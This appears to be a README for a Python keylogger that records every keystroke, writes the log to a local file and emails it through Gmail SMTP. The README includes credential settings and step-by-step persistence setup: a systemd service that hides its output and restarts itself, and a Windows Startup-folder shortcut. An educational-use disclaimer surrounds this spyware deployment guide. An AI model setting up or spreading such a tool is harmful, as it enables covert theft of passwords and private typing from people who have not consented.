Educational / authorized-use notice: This project demonstrates keyboard event capture, local buffering, and email delivery in Python. Run it only on systems you own or have explicit permission to test.

This repository contains a Python-based keylogger script that records keystrokes to a local file and can send the collected log by email. It includes retry handling for email delivery, local log management, and startup examples for Linux and Windows.

Read this diagram from top to bottom. It follows the same layers used by keylogger.py: launch, imports and global state, main(), key capture, Esc detection, email sending, and cleanup/restart.

• Esc ends the current listener session, but the current main() loop starts listening again after 5 seconds.
• keylog.txt is relative to the current working directory, so its location can change depending on how the script is launched.
• The file write in on_press() appends the entire in-memory log every time, not just the newest key.
• Email credentials are stored directly in source unless you replace them with a safer configuration method.
• After Esc, local logs are cleared even if email delivery was not confirmed after the final retry.

• Keystroke Logging: Captures all keystrokes, including special keys like Enter, Backspace, and Space.
• Email Notification: Sends the logged keystrokes to a specified email address.
• Retry Mechanism: Retries email sending up to 3 times in case of failures.
• Log Management: Clears logs after the Esc session-ending flow runs.
• Session Restart: Restarts the listener after a 5-second pause because main() runs in an infinite loop.
• Automatic Startup: Instructions included for setting up the script to run automatically at system startup on Linux and Windows.

1. Python 3.x

2. Required Python libraries:

   pip install pynput

3. A Gmail account with app-specific password if 2-Step Verification is enabled. Refer to the Google App Passwords Guide to create one.

Update the following variables in the script with your email credentials:

EMAIL_ADDRESS = 'your-email@gmail.com'
EMAIL_PASSWORD = 'your-app-password'
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587

Run the script in your terminal:

python3 keylogger.py

Press Esc to send the currently collected log, clear keylog.txt, and stop the active listener session.

Because main() contains an infinite loop, the script starts listening again after 5 seconds. To fully stop the program, stop the terminal process or stop/disable the service that launched it.

1. Create a systemd service file:

   sudo nano /etc/systemd/system/keylogger.service

2. Add the following content:

   [Unit]
   Description=Keylogger Script
   After=multi-user.target
   
   [Service]
   ExecStart=/usr/bin/python3 /path/to/keylogger.py
   WorkingDirectory=/path/to
   StandardOutput=null
   StandardError=null
   Restart=always
   
   [Install]
   WantedBy=multi-user.target

   Replace /path/to/keylogger.py with the full path to your script.

3. Reload systemd and enable the service:

   sudo systemctl daemon-reload
   sudo systemctl enable keylogger.service
   sudo systemctl start keylogger.service

4. Verify the service is running:

   sudo systemctl status keylogger.service

1. Press Win + R, type shell:startup, then press Enter.

2. Create a shortcut in the Startup folder with the following target:

   C:\Python39\python.exe C:\path\to\keylogger.py
   

3. The script will run automatically on login.

This script is for educational purposes only. Unauthorized use of keyloggers is illegal and unethical. Use it responsibly and only on systems where you have explicit permission.

The author is not responsible for any misuse of this script. Always use it in compliance with applicable laws and regulations.